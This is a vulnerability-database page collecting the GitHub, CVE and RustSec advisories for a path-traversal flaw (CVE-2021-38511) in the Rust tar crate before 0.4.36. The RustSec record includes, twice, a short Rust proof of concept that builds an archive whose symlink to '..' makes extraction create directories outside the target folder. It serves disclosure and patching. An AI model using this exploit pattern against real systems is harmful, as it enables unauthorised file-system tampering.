Vulnerability-Lookup

GHSA-62JX-8VMH-4MCW

Vulnerability from github – Published: 2021-08-25 20:58 – Updated: 2023-06-13 22:04

Summary

Links in archive can create arbitrary directories

Details

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.36"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-38511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-18T20:08:23Z",
    "nvd_published_at": "2021-08-10T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it\u0027s supposed to unpack into. The function errors when it\u0027s trying to create a file, but the folders are already created at this point.",
  "id": "GHSA-62jx-8vmh-4mcw",
  "modified": "2023-06-13T22:04:07Z",
  "published": "2021-08-25T20:58:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38511"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alexcrichton/tar-rs/issues/238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alexcrichton/tar-rs/pull/259"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alexcrichton/tar-rs"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Links in archive can create arbitrary directories"
}

CVE-2021-38511 (GCVE-0-2021-38511)

Vulnerability from cvelistv5 – Published: 2021-08-10 22:12 – Updated: 2024-08-04 01:44

Summary

An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.

Severity

No CVSS data available.

CWE

Assigner

mitre mitre root

References

2 references

URL	Tags
https://rustsec.org/advisories/RUSTSEC-2021-0080.html	x_refsource_MISC
https://raw.githubusercontent.com/rustsec/advisor…	x_refsource_MISC

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T01:44:23.549Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
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            "tags": [
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              "x_transferred"
            ],
            "url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
          },
          {
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              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal."
        }
      ],
      "problemTypes": [
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          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-08-10T22:12:46.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2021-38511",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
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                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
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            }
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        },
        "problemtype": {
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                  "value": "n/a"
                }
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        },
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  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
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    "datePublished": "2021-08-10T22:12:46.000Z",
    "dateReserved": "2021-08-10T00:00:00.000Z",
    "dateUpdated": "2024-08-04T01:44:23.549Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

rustsec-2021-0080

Vulnerability from osv_rustsec

Published

2021-07-19 12:00

Modified

2026-07-17 15:52

Summary

Links in archive can create arbitrary directories

Details

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

URL

Type

	https://crates.io/crates/tar	PACKAGE
	https://rustsec.org/advisories/RUSTSEC-2021-0080.html	ADVISORY
	https://github.com/alexcrichton/tar-rs/issues/238	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "categories": [],
        "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
        "informational": null
      },
      "ecosystem_specific": {
        "affected_functions": null,
        "affects": {
          "arch": [],
          "functions": [
            "tar::Archive::unpack"
          ],
          "os": []
        }
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tar",
        "purl": "pkg:cargo/tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-0"
            },
            {
              "fixed": "0.4.36"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": []
    }
  ],
  "aliases": [
    "CVE-2021-38511",
    "GHSA-62jx-8vmh-4mcw"
  ],
  "database_specific": {
    "license": "CC0-1.0"
  },
  "details": "When unpacking a tarball that contains a symlink the `tar` crate may create\ndirectories outside of the directory it\u0027s supposed to unpack into.\n\nThe function errors when it\u0027s trying to create a file, but the folders are\nalready created at this point.\n\n```rust\nuse std::{io, io::Result};\nuse tar::{Archive, Builder, EntryType, Header};\n\nfn main() -\u003e Result\u003c()\u003e {\n    let mut buf = Vec::new();\n\n    {\n        let mut builder = Builder::new(\u0026mut buf);\n\n        // symlink: parent -\u003e ..\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink\")?;\n        header.set_link_name(\"..\")?;\n        header.set_entry_type(EntryType::Symlink);\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        // file: symlink/exploit/foo/bar\n        let mut header = Header::new_gnu();\n        header.set_path(\"symlink/exploit/foo/bar\")?;\n        header.set_size(0);\n        header.set_cksum();\n        builder.append(\u0026header, io::empty())?;\n\n        builder.finish()?;\n    };\n\n    Archive::new(\u0026*buf).unpack(\"demo\")\n}\n```\n\nThis has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is\npublished as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for\ndiscovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for\nthe fix!",
  "id": "RUSTSEC-2021-0080",
  "modified": "2026-07-17T15:52:38Z",
  "published": "2021-07-19T12:00:00Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://crates.io/crates/tar"
    },
    {
      "type": "ADVISORY",
      "url": "https://rustsec.org/advisories/RUSTSEC-2021-0080.html"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/alexcrichton/tar-rs/issues/238"
    }
  ],
  "related": [],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Links in archive can create arbitrary directories"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-62JX-8VMH-4MCW

CVE-2021-38511 (GCVE-0-2021-38511)

rustsec-2021-0080

Vulnerability from osv_rustsec

Tags

Sightings

Nomenclature

Related by attack behaviour